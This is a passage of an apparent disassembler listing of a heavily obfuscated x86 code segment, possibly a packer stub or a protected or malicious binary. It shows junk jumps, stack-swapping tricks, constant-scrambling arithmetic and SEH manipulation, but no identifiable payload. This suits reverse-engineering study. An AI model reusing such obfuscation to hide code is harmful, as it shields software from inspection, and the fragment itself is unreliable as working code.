		dd 0C68105C6h, 35AA9704h, 0A0DCE81h, 0F681A575h, 5B8DAFF1h
		dd 8B5ED603h, 0DEB7E912h, 9C00FFFFh, 0FA1C5168h, 0F2815A1Eh
		dd 238D347Eh, 9185CA81h, 0E281A1AEh, 0E76FDBB7h, 0FFD568E9h
		dd 5F0000FFh, 0E132CD81h, 0CF03F598h, 42BE9h
		db 0
byte_48B725	db 87h,	1Ch, 24h	; DATA XREF: sub_48B32Eo
		dd 8CF0815Bh, 0D362CA0h, 0FF40E9C5h, 0C3FFFFh, 48DC6800h
		dd 48739FDh, 0E9D88B24h, 0FFFFD304h
		db 2 dup(0), 57h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AD01

loc_48B74B:				; CODE XREF: sub_48AD01:loc_48A762j
		push	536AA8D9h
		xchg	eax, [esp-8+arg_4]

loc_48B753:				; CODE XREF: dy9cvewz:loc_48959Dj
		mov	edi, eax
		pop	eax
		rol	edi, 8
		or	edi, 0D44FE337h
		jmp	loc_48954D
; END OF FUNCTION CHUNK	FOR sub_48AD01
; ---------------------------------------------------------------------------
dword_48B764	dd 7857F081h, 7F52A3D2h, 81A86D68h, 0F2E972h, 87000000h
					; DATA XREF: dy9cvewz:0048A36Co
		dd 0C65F243Ch, 8158C300h, 0AD3E67CBh, 4D850FA3h, 0FFFFE0h
; ---------------------------------------------------------------------------

loc_48B78C:				; CODE XREF: dy9cvewz:0048AF5Dj
		jmp	loc_48AF76
; ---------------------------------------------------------------------------
		align 2
word_48B792	dw 8964h		; DATA XREF: dy9cvewz:0048C21Do
		dd 25h
		db 0
byte_48B799	db 64h,	8Bh, 5		; DATA XREF: dy9cvewz:00488D5Co
		dd 30h,	18946852h, 0BBE9B68Dh, 8BFFFFF0h, 0EF07E9FAh, 0C3FFFFh
		db 0
; ---------------------------------------------------------------------------

loc_48B7B5:				; CODE XREF: dy9cvewz:00488F0Ej
		jmp	loc_488680
; ---------------------------------------------------------------------------
		dw 0E859h
		dd 0E6Ch, 0E132E900h, 9CE9FFFFh, 0FFFFCEh, 99D86852h, 1C876A61h
		dd 5BD38B24h, 653BEA81h, 52E94B16h
		db 0CCh
		db 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_48B7E3	proc near		; CODE XREF: dy9cvewz:004882CDp

; FUNCTION CHUNK AT 00488D35 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	eax, 1000h
		push	offset sub_48899B
		jmp	loc_488D35
sub_48B7E3	endp

; ---------------------------------------------------------------------------
		sbb	ebx, ecx
		jmp	sub_4898B7
; ---------------------------------------------------------------------------
		db 2 dup(0), 3Bh
		dd 0D3ACE9F8h, 0FFFFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48958B

loc_48B808:				; CODE XREF: sub_48958B+2F78j
		pop	esi
		push	offset loc_488DD3
		jmp	nullsub_439
; END OF FUNCTION CHUNK	FOR sub_48958B
; ---------------------------------------------------------------------------
		align 4
		dd 5F243C87h, 151FA268h, 0EB815B10h, 79F96AD4h,	0FFEBFFE9h
		dd 850F00FFh, 0FFFFE568h, 0FFCAFFE9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]

loc_48B836:				; CODE XREF: dy9cvewz:00489360j
		popf

; =============== S U B	R O U T	I N E =======================================



sub_48B837	proc near		; CODE XREF: dy9cvewz:0048902Ep

; FUNCTION CHUNK AT 0048B54D SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		cld
		jmp	loc_48B54D
sub_48B837	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(0), 0E8h
		dd 0FFFFE4ADh
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AD01

loc_48B84A:				; CODE XREF: sub_48AD01-2D25j
					; dy9cvewz:004882AAj
		mov	ebx, eax
		pop	eax
		add	ebx, 0E38950BBh
		xor	ebx, 0B352FEEAh
		push	offset word_48B25A
		jmp	loc_48A9CA
; END OF FUNCTION CHUNK	FOR sub_48AD01
; ---------------------------------------------------------------------------
		db 0E8h
		dd 10D2h, 8B241C87h, 0E2815BD3h, 0B319F4AEh, 6599FA81h
		dd 27E9BFFAh, 0FFFFDAh,	0EAB6E800h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AAB3

loc_48B886:				; CODE XREF: sub_48AAB3+7j
		jmp	loc_48CB5E
; END OF FUNCTION CHUNK	FOR sub_48AAB3
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_488FD4

loc_48B88D:				; CODE XREF: sub_488FD4+Dj
		jmp	loc_4896A8
; END OF FUNCTION CHUNK	FOR sub_488FD4
; ---------------------------------------------------------------------------
		dw 0C300h
; ---------------------------------------------------------------------------
		jmp	locret_48879E
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

locret_48B89B:				; CODE XREF: dy9cvewz:00487DE2j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_48B89E:				; CODE XREF: dy9cvewz:loc_48782Dj
		push	edx
		mov	edx, offset loc_48A9FF
		jmp	loc_488EBC
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_48B8AB	proc near		; CODE XREF: dy9cvewz:loc_489894j
					; sub_48C27C+10p
		xchg	esi, [esp+0]
		pop	esi
		call	ds:dword_45B0B4	; GetModuleHandleA
		push	eax
		mov	eax, esi
		xchg	eax, [esp+0]
		push	offset dword_48A994
		jmp	near ptr loc_488734+4
sub_48B8AB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
byte_48B8C5	db 0Fh,	85h, 0		; DATA XREF: sub_48AD01:loc_48B34Fo
		dd 0E9FFFFDEh, 81Eh, 0F2F18100h, 0E911FC9Bh, 0FFFFEAEAh
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_48B8DE	proc near		; CODE XREF: sub_48AD01:loc_48B4B0p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00488662 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00488727 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00489774 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0048BFDF SIZE 00000005 BYTES

		xchg	ebx, [esp-4+arg_0]
		pop	ebx
		xchg	esi, [esp+0]
		push	esi
		pop	eax

loc_48B8E7:				; CODE XREF: dy9cvewz:loc_4893E0j
		pop	esi
		jmp	loc_48BFDF
sub_48B8DE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_487CB5

loc_48B8EF:				; CODE XREF: sub_487CB5+6j
					; dy9cvewz:00487E60j ...
		call	sub_48CCCF
		push	offset byte_487DB2
		jmp	nullsub_432
; END OF FUNCTION CHUNK	FOR sub_487CB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48A8EA

loc_48B8FE:				; CODE XREF: sub_48A8EA:loc_48A443j
					; DATA XREF: dy9cvewz:00489A86o
		mov	eax, [eax]
		push	offset loc_48C750
		jmp	nullsub_561
; END OF FUNCTION CHUNK	FOR sub_48A8EA
; ---------------------------------------------------------------------------
		mov	[ebp+0], esi

loc_48B90D:				; CODE XREF: dy9cvewz:loc_48B0E7j
		xor	edi, 0F7AFF3D8h
		add	eax, edi
		pop	edi
		jmp	loc_48B56F
; ---------------------------------------------------------------------------

locret_48B91B:				; CODE XREF: dy9cvewz:00489FFCj
		retn
; ---------------------------------------------------------------------------
		dd 68EC8B00h, 488A14h, 0FFFC2AE9h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48B3BA

loc_48B929:				; CODE XREF: sub_48B3BA+Aj
		mov	edi, ebx
		pop	ebx
		js	loc_48A5C5
		mov	edx, [eax]
		jmp	loc_4894F0
; END OF FUNCTION CHUNK	FOR sub_48B3BA
; ---------------------------------------------------------------------------
		align 2
		mov	[ebp+0], edx
		jmp	loc_48A715
; ---------------------------------------------------------------------------
		dw 8700h
; ---------------------------------------------------------------------------
		sbb	al, 24h
		pop	ebx
		pushf
		push	0C5E42030h
		pop	edi
		jmp	loc_48BB28
; ---------------------------------------------------------------------------
		align 4
		dd 6FEE8153h, 0F72149AEh, 8C6h,	0FE5BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48BB9F

loc_48B966:				; CODE XREF: sub_48BB9F-308Ej
		jnz	loc_4876FB
		add	edi, ebp
		rol	ebp, 11h
		jmp	loc_4876F1
; END OF FUNCTION CHUNK	FOR sub_48BB9F
; ---------------------------------------------------------------------------
		align 4

loc_48B978:				; CODE XREF: dy9cvewz:00488C4Dj
		rol	edx, 7
		add	edx, 0FC6A1568h
		or	edx, 3F82CDD7h
		sub	edx, 51551281h
; START	OF FUNCTION CHUNK FOR sub_48899B

loc_48B98D:				; CODE XREF: sub_48899B:loc_488F38j
		add	edx, 51CEF661h
		jmp	loc_48C5EE
; END OF FUNCTION CHUNK	FOR sub_48899B
; ---------------------------------------------------------------------------
dword_48B998	dd 0CA50689Dh, 5DE90048h, 0E8FFFFF6h, 0FFFFC6F4h
					; DATA XREF: sub_48AFE5-E27o
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_488506

loc_48B9A9:				; CODE XREF: sub_488506+D1j
		jmp	loc_48A596
; END OF FUNCTION CHUNK	FOR sub_488506
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_489347

loc_48B9AE:				; CODE XREF: sub_489347:loc_48C63Fj
		call	sub_489B1A
; END OF FUNCTION CHUNK	FOR sub_489347
; ---------------------------------------------------------------------------
		db 0
		dd 0E51DE900h, 8100FFFFh, 911832C8h, 11F0814Ch,	3B370E72h
		dd 60E958D0h, 6
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48BE85

loc_48B9D1:				; CODE XREF: sub_48BE85-2778j
		and	esi, 619110A3h
		sub	esi, 0B580F088h
		xor	esi, 1F4B0D91h
		add	esi, 6BEDBE0Dh
		jmp	loc_4886FA
; END OF FUNCTION CHUNK	FOR sub_48BE85
; ---------------------------------------------------------------------------
		dw 800h
		dd 32840FC0h, 0E9FFFFC9h, 0FFFFFE2Eh, 8503C600h, 0F1D8E85Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_48BA06:				; CODE XREF: dy9cvewz:00489CC2j
		jmp	near ptr dword_4887DC+31h
; ---------------------------------------------------------------------------
		align 4
		dd 0CA810F00h, 81FFFFECh, 0EBD6BCF8h, 0C8C9E961h, 9D00FFFFh
		dd 0E91DC0C1h, 0FFFFFEB6h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AD01

loc_48BA28:				; CODE XREF: sub_48AD01:loc_4897D2j
		cmp	eax, esi
		jmp	loc_48A762
; END OF FUNCTION CHUNK	FOR sub_48AD01
; ---------------------------------------------------------------------------
		align 10h
		dd 0E9CD1B00h, 0FFFFFD3Fh
; ---------------------------------------------------------------------------
		mov	[edi], ecx

; =============== S U B	R O U T	I N E =======================================



sub_48BA3A	proc near		; CODE XREF: sub_48BA84-15A3p

; FUNCTION CHUNK AT 00488360 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00488CC5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00488DB4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00489175 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004894DF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048A380 SIZE 0000000B BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		pop	ecx
		jmp	loc_4894DF
sub_48BA3A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_48BA46:				; CODE XREF: dy9cvewz:004874F0j
		cmp	ecx, 5BD76780h
		jmp	loc_487CEA
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

locret_48BA53:				; CODE XREF: dy9cvewz:00488DDCj
		retn
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_48BA55:				; CODE XREF: dy9cvewz:00488C77j
		jmp	loc_48A922
; ---------------------------------------------------------------------------
		align 4

loc_48BA5C:				; DATA XREF: dy9cvewz:loc_488DD7o
		pop	large dword ptr	fs:0
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		jmp	loc_48C553
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_48BA6D:				; CODE XREF: sub_48BB9F:loc_4890E3p
		xchg	edi, [esp]
		pop	edi
		jnz	loc_48C8FF
		call	sub_488E53

loc_48BA7C:				; CODE XREF: dy9cvewz:00487508j
		add	cl, ch
		add	edi, 0FFFFFFFFh
		inc	dword ptr [eax]
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_48BA84	proc near		; CODE XREF: dy9cvewz:00488E6Aj
					; dy9cvewz:loc_48A01Fp

; FUNCTION CHUNK AT 0048982D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0048A4D3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0048C85A SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	esi
		push	0F3880886h
		pop	esi
		and	esi, 0A08FC5E8h
		jmp	loc_48982D
sub_48BA84	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	eax
		mov	eax, 4885EDh
		jmp	loc_48BBD9
; ---------------------------------------------------------------------------
		db 0Fh,	8Dh, 9Dh
		dd 10h,	1BD01300h, 9DCF81CAh, 0E9E03D16h, 1086h, 228D0F00h
		dd 8500000Dh, 0BD98E9F1h, 0FFFFh, 8B241C87h, 848E5BCBh
		dd 0FFFFC0C7h, 4D5E9h, 9E99900h, 7, 0E95B9D00h,	0FFFFD02Ah
		dd 67810F00h, 23FFFFD1h, 0BAF2E9D3h, 810FFFFFh,	0FFFFD733h

; =============== S U B	R O U T	I N E =======================================



sub_48BB00	proc near		; CODE XREF: sub_48AFE5-2FB0p

; FUNCTION CHUNK AT 0048AE62 SIZE 00000011 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	0A419A6EFh
		pop	ecx
		jmp	loc_48AE62
sub_48BB00	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
		dd 338B0F00h, 9CFFFFDDh, 8112C6C1h, 0FB6220C6h,	0CABDE872h
		dd 0FFFFh
; ---------------------------------------------------------------------------

loc_48BB28:				; CODE XREF: dy9cvewz:0048B94Ej
		xor	edi, 1AC44C9Ah
		test	edi, 100000h
		jmp	near ptr dword_489498+10h
; ---------------------------------------------------------------------------
		align 2

locret_48BB3A:				; CODE XREF: dy9cvewz:004874A7j
					; dy9cvewz:loc_487C9Cj
		retn
; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_545. PRESS KEYPAD	"+" TO EXPAND]
		align 2
		adc	ebp, eax
		jmp	sub_48958B
; ---------------------------------------------------------------------------

loc_48BB45:				; CODE XREF: dy9cvewz:004877ABj
		jnz	loc_48A5BA
		jmp	loc_48B3EA
; ---------------------------------------------------------------------------

loc_48BB50:				; CODE XREF: dy9cvewz:0048ADAFj
		push	offset loc_488523
		jmp	loc_48AE9F
; ---------------------------------------------------------------------------

loc_48BB5A:				; CODE XREF: dy9cvewz:00488CB3j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48930F

loc_48BB5B:				; CODE XREF: sub_48930F+7j
		jmp	loc_48A54E
; END OF FUNCTION CHUNK	FOR sub_48930F
; ---------------------------------------------------------------------------
		db 2 dup(0)
word_48BB62	dw 3968h		; DATA XREF: dy9cvewz:0048C002o
		dd 87A50B82h, 0C68B2434h, 0F7E8815Eh, 819F00E9h, 0C5DE55F0h
		dd 0CC0811Dh, 813A2F2Bh, 9B25C2E8h, 0C5F9E95Ah,	0D73BFFFFh
		dd 0FFC0A2E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_487CB5

loc_48BB92:				; CODE XREF: sub_487CB5:loc_489091j
		pop	ebp
		push	esi
		mov	esi, offset loc_487A6B
		jmp	loc_48A8AA
; END OF FUNCTION CHUNK	FOR sub_487CB5
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_48BB9F	proc near		; CODE XREF: sub_487A52:loc_4896B8p

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004876F1 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00487C2D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00487FC1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00488112 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004887BC SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00488847 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00488B0B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004890E3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00489190 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00489516 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004898FE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048A197 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0048A20C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048A3D5 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0048AB3B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048AE97 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048AEF6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0048B46B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0048B966 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0048BCBF SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0048C525 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0048C8FF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0048C952 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	eax, 6A748C2Ah
		mov	eax, [eax]
		call	sub_488EA0

loc_48BBB0:				; CODE XREF: sub_4889E8:loc_48A019j
		jnz	loc_488112
		xchg	ebp, [esp+0]
		push	ebp
		pop	ecx
		pop	ebp
		jmp	loc_4898FE
sub_48BB9F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(0)
byte_48BBC3	db 68h			; DATA XREF: dy9cvewz:0048962Bo
		dd 1B457F7Bh, 0E0EE815Eh, 0C1A7541Fh, 0ECE910C6h, 0FFFFEDh
		db 0
; ---------------------------------------------------------------------------

loc_48BBD9:				; CODE XREF: dy9cvewz:0048BAA0j
		call	sub_4888E1
; ---------------------------------------------------------------------------
		dw 0
		dd 0FFD8E7E9h, 0EDE999FFh
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_48BBEB:				; CODE XREF: dy9cvewz:0048A40Bj
		xchg	esi, [esp]
		mov	ebp, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 4
		jmp	loc_48C358
; ---------------------------------------------------------------------------
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_528. PRESS KEYPAD	"+" TO EXPAND]
		db 0
; ---------------------------------------------------------------------------

loc_48BBFD:				; CODE XREF: dy9cvewz:0048A188j
		jmp	loc_48A165
; ---------------------------------------------------------------------------
		db 0
byte_48BC03	db 9			; DATA XREF: sub_48924C+17o
		dd 0C4840FC0h, 68FFFFBEh, 48996Eh, 0FFF15FE9h, 828C0FFFh
		dd 1, 0FFEF0CE9h, 0CE2B00FFh, 172E9h, 0EBC10000h, 0E0AFE90Dh
		dd 8155FFFFh, 0E30442E3h, 0E9D3F7D0h, 0FFFFC8D3h, 36C2F700h
		dd 0E94843FDh, 0FFFFF0D6h, 5C9C100h, 0C59E9h
		db 0
; ---------------------------------------------------------------------------

loc_48BC55:				; CODE XREF: dy9cvewz:00488835j
		and	esi, 0B9A62480h
		xor	esi, 0AF7C2693h
		rol	esi, 13h
		add	esi, 0CBAEF44Eh
		jmp	loc_48A727
; ---------------------------------------------------------------------------
		align 10h

loc_48BC70:				; CODE XREF: dy9cvewz:loc_4877FBj
		pushf
		push	132A3969h
		pop	edx
		rol	edx, 15h
		add	edx, 0D326313Ah
		popf
		jmp	near ptr loc_48AB81+1
; ---------------------------------------------------------------------------
		dw 8700h
; ---------------------------------------------------------------------------
		or	al, 24h

loc_48BC8A:				; CODE XREF: dy9cvewz:0048A6FAj
		pop	ecx
		xchg	eax, [esp]
		push	3FF36D3Dh
		pop	esi
		sub	esi, 39C743C8h
		and	esi, 5785F1C3h
		push	ecx
		jmp	loc_488C9C
; ---------------------------------------------------------------------------
		dw 0E0C1h
		dd 243C8719h, 52EC8B5Fh, 1487D18Bh, 0BEE95624h,	0FFFFE6h
; ---------------------------------------------------------------------------

locret_48BCBC:				; CODE XREF: dy9cvewz:00487CEFj
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48BB9F

loc_48BCBF:				; CODE XREF: sub_48BB9F:loc_48AEFCj
		sub	ebx, 0F9D297B4h
		xor	ebx, 125A0092h
		add	edx, ebx
		pop	ebx
		push	offset word_48AA32
		jmp	loc_487FC1
; END OF FUNCTION CHUNK	FOR sub_48BB9F
; ---------------------------------------------------------------------------
		dd 4DD8A0Fh, 67E90000h,	0FFFFE6h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_539. PRESS KEYPAD	"+" TO EXPAND]
		db 8Bh,	0FBh, 5Bh
		dd 0D639E781h, 880F881Dh, 0FFFFD847h, 0E1C10000h, 0D83BE91Eh
		dd 0FFFFh, 3C066857h, 815FDC58h, 0DF05FDF7h, 22E78119h
		dd 0C18ABD21h, 0C7811AC7h, 764678BEh, 0FFCFF0E9h, 9C5700FFh
		dd 0FFD7D6E8h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]

; =============== S U B	R O U T	I N E =======================================



sub_48BD2A	proc near		; CODE XREF: sub_48BB00-C92p
					; dy9cvewz:0048BF85j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0048C96D SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	ecx, 7E70367Fh

loc_48BD34:				; DATA XREF: sub_48AFE5+1171o
		cwde
		or	al, 24h
		jmp	loc_48C96D
sub_48BD2A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_48BD3C:				; CODE XREF: dy9cvewz:loc_488A07j
		jns	loc_488748
		jmp	loc_488FA4
; ---------------------------------------------------------------------------
		align 4
		db 0
byte_48BD49	db 0Fh,	81h, 3Fh	; DATA XREF: sub_48B37A+4o
		dd 8DFFFFECh, 48A44E05h, 0F6BE5600h, 0E90048C9h, 0FFFFD846h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48B3BA

loc_48BD60:				; CODE XREF: sub_48B3BA-2F23j
		mov	byte ptr [eax],	9Ch
		pop	eax
		push	esi
		push	4DB542Bh
		jmp	loc_489035
; END OF FUNCTION CHUNK	FOR sub_48B3BA
; ---------------------------------------------------------------------------
		db 0F7h
		dd 243487D6h, 8B241C87h, 0C183E9F3h, 7C6FFFFh, 242C8787h
		dd 0BE5DFD8Bh, 4893C6h,	0FFD3C9E9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_48BD93:				; CODE XREF: dy9cvewz:00487EF3j
		pop	esi
		call	near ptr dword_487970+2
; ---------------------------------------------------------------------------
		db 2 dup(0), 0F7h
		dd 19BB53D5h, 0E90048C8h, 0FFFFDE82h, 8B03C600h, 2414875Bh
		dd 668ECE2h, 0E90048C4h, 649h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_487CB5

loc_48BDBD:				; CODE XREF: sub_487CB5+4A52j
		sub	eax, ebx

loc_48BDBF:				; CODE XREF: sub_487CB5:loc_48A4C7j
		push	edi
		mov	edi, edx
		xchg	edi, [esp+0]
		push	edi
		push	83501401h
		jmp	loc_489989
; END OF FUNCTION CHUNK	FOR sub_487CB5
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_48BDD1	proc near		; CODE XREF: sub_489481+189Cp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0048A68D SIZE 0000000C BYTES

		xchg	edi, [esp+0]
		pop	edi
		xor	eax, 9BDB6A63h
		add	eax, ebp
		add	eax, 0E32C267Dh
		jmp	loc_48A68D
sub_48BDD1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 0E9FA8700h, 0AFEh, 8D3C6800h, 4CE90048h, 7
		db 0
byte_48BDFD	db 57h,	0BFh, 3Bh	; DATA XREF: dy9cvewz:0048A041o
		dd 0E90048A4h, 0FFFFE09Dh

; =============== S U B	R O U T	I N E =======================================



sub_48BE08	proc near		; CODE XREF: dy9cvewz:00488ACAj
					; sub_487CB5:loc_48B243p
		push	offset loc_488541
		jmp	nullsub_435
sub_48BE08	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0F245E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_48BE1A:				; CODE XREF: dy9cvewz:00489B69j
		jmp	locret_48C474
; ---------------------------------------------------------------------------

loc_48BE1F:				; CODE XREF: dy9cvewz:0048971Bj
		jmp	locret_48890C
; ---------------------------------------------------------------------------

loc_48BE24:				; CODE XREF: dy9cvewz:004888C9j
		jmp	locret_48A0C0
; ---------------------------------------------------------------------------
		align 2
		dw 5DE9h
		dd 85FFFFF8h, 0BACC68C1h, 0AE90048h, 0FFFFCCh, 91800F00h
		dd 0E9FFFFE9h, 0FFFFF197h
		db 2 dup(0)
word_48BE4A	dw 3C87h		; DATA XREF: dy9cvewz:0048B583o
		dd 5FC78B24h, 0E95FCF8Bh, 0FFFFCDC0h, 0C300h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4881E5

loc_48BE5C:				; CODE XREF: sub_4881E5+11j
		jmp	nullsub_540
; END OF FUNCTION CHUNK	FOR sub_4881E5
; ---------------------------------------------------------------------------
		align 2
		dw 1C87h
		dd 240C8724h, 0E959D98Bh, 0FFFFB591h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AD01

loc_48BE72:				; CODE XREF: sub_48AD01:loc_48916Fj
		push	offset loc_487CCA
		jmp	loc_489F16
; END OF FUNCTION CHUNK	FOR sub_48AD01
; ---------------------------------------------------------------------------
		dd 8D0F0000h, 0FFFFBF0Bh
; ---------------------------------------------------------------------------
		cdq

; =============== S U B	R O U T	I N E =======================================



sub_48BE85	proc near		; CODE XREF: sub_488FD4:loc_48AADCp

; FUNCTION CHUNK AT 0048757C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00487E35 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 004886FA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004896FA SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0048ABCD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0048B286 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0048B9D1 SIZE 0000001D BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	ecx
		jmp	loc_487E35
sub_48BE85	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 0C300h, 0FFD233E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_488FD4

loc_48BE9A:				; CODE XREF: sub_488FD4+6DDj
		jmp	loc_48B55A
; END OF FUNCTION CHUNK	FOR sub_488FD4
; ---------------------------------------------------------------------------
		align 10h

loc_48BEA0:				; DATA XREF: dy9cvewz:00488519o
		call	sub_48B4D7
		sbb	ebp, esi
		sub	eax, 7FEB2880h
		jmp	sub_48987C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48899B

loc_48BEB2:				; CODE XREF: sub_48899B:loc_48C999j
		jmp	loc_488FAA
; END OF FUNCTION CHUNK	FOR sub_48899B
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48899B

loc_48BEB9:				; CODE XREF: sub_48899B+7A8j
		xchg	esi, [esp+0]
		push	eax
		mov	eax, offset loc_489F3F
		jmp	loc_48A77E
; END OF FUNCTION CHUNK	FOR sub_48899B
; ---------------------------------------------------------------------------
		align 4
		dd 7B899668h, 741B6830h, 0B8E90048h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48A96C

loc_48BED7:				; CODE XREF: sub_48A96C-21D3j
		jbe	loc_48912E

loc_48BEDD:				; CODE XREF: sub_48A96C-21E2j
		or	eax, 7AC87894h
		push	offset loc_489BE8
		jmp	loc_48B2AB
; END OF FUNCTION CHUNK	FOR sub_48A96C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_488AE9

loc_48BEED:				; CODE XREF: sub_488AE9+1E6Ej
		and	edx, 82F7F4BDh
		xor	edx, 226A2A38h
		add	edx, 0DDCC1236h
		jmp	loc_48BFD8
